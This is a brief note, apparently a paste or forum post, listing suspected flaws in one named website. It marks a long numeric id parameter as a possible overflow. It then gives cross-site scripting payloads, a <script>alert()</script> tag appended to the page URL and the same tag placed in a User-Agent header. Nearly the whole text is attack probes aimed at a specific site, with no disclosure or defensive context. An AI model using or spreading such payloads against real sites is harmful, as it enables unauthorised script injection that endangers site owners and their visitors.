perhaps Overfload:
http://fun.gibs0n.name/index.php/mainpage/view?id=22222222222222

xss:
http://fun.gibs0n.name/index.php/mainpage/view?id=22222222222222<script>alert(/x/);</script>
http://fun.gibs0n.name/index.php/mainpage/view?id=22222222222222
User-Agent: <script>alert(/xss/);</script>